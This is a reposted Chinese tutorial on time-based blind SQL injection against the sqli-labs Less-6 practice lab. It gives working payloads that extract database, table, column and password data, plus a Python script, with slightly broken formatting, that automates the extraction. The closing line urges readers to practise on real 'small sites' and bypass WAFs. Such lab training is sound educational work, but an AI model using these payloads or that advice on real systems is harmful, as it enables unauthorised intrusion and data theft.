盲注系列sql盲注之时间盲注(附自动化脚本)-系列终篇

Posted 开源聚合网络空间安全研究院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了盲注系列sql盲注之时间盲注(附自动化脚本)-系列终篇相关的知识,希望对你有一定的参考价值。

[
0x00 概述
]

渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的终篇,介绍盲注中的时间盲注。

前请回顾:

[
0x01 时间盲注原理
]

由于有时网站关闭了错误回显或过滤了某些关键字,网页只会返回一种状态,这是就要用时间盲注了。

先整理几个基本函数:

if(1,2,3):如果1真,则执行2,否则执行3

Sleep(x):执行延迟x秒

Benchmark(x,1):执行表达式1,x次(会消耗cpu,慎用!)

[
0x02 测试
]

Sqli-labs less-6:

这里尝试时间盲注。

1.爆数据库名:

192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+

【盲注系列】sql盲注之时间盲注(附自动化脚本)-系列终篇

当>115时是4034ms,而>114时是1041ms,所以可以判断>115时执行了sleep,同时说明数据库名第一个字符是s。

同理判断其余字符,最后得出数据库名security。

2. 爆表名:

2.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101,1,sleep(3))--+

>101出现延时,>100不延时,所以为e,同理爆出其余字符得emails,再爆出其余表名。

3. 爆列名:

3.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105,1,sleep(3))--+

>105出现延时,>104不延时,表明users表第一个列第一个字符为i,同理爆出其余字符得id,同理爆出其余列名username,password。

4. 爆数据:

4.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select password from users limit 0,1),1,1))>68,1,sleep(3))--+

>68出现延时,>67不延时,表明password列第一项数据的第一个字符为D,同理爆出其余字符得Dumb,再爆出其余数据。

[
0x03 时间盲注脚本
]

只完成爆出数据库名,其余数据根据需要更改即可。

#coding:utf-8

#Author:LSA

#Description:Time based sqli script for sqli-labs less 6#Data:20180108

import requests

import time

import string

import sys

headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}

chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'

database = ''

global length

for l in range(1,20):

lengthUrl = 'http://192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'

lengthUrlFormat = lengthUrl.format(l)

start_time0 = time.time()

rsp0 = requests.get(lengthUrlFormat,headers=headers)if  time.time() - start_time0 > 2.5:

print 'database length is ' + str(l)

global length

length = l

break

else:

pass

for i in range(1,length+1):

for char in chars:

charAscii = ord(char)

url = 'http://192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'

urlformat = url.format(i,charAscii)

start_time = time.time()

rsp = requests.get(urlformat,headers=headers)if  time.time() - start_time > 2.5:

database+=char

print 'database: ',database

break

else:

pass

print 'database is ' + database

[
0x04 结语
]

到此三种sql盲注全部完结,涉及到的知识都很基础,全部看懂的话就可以找一些小站练手了,如果遇到waf/狗就要绕过了,另外,要灵活机变,一条路不通就换个方向,比如sqli-labs less 6不仅可以时间盲注入,报错和布尔都可以,还有上次的布尔盲注less 8也可以用时间盲注,这就是为什么sqlmap有时会同时给出多种注入方案的原因了。

文:_LSA_

来源:i春秋

链接:https://bbs.ichunqiu.com/thread-32229-1-1.html

开源聚合信息安全培训班


专注信息安全人才培养

搭建企业人才供需桥梁

以上是关于盲注系列sql盲注之时间盲注(附自动化脚本)-系列终篇的主要内容,如果未能解决你的问题,请参考以下文章

网络安全-SQL注入系列03

SQL注入之布尔型盲注

SQL盲注加速方法总结

SQL盲注脚本(MySQL)

SQL盲注脚本(MySQL)

SQL盲注脚本(MySQL)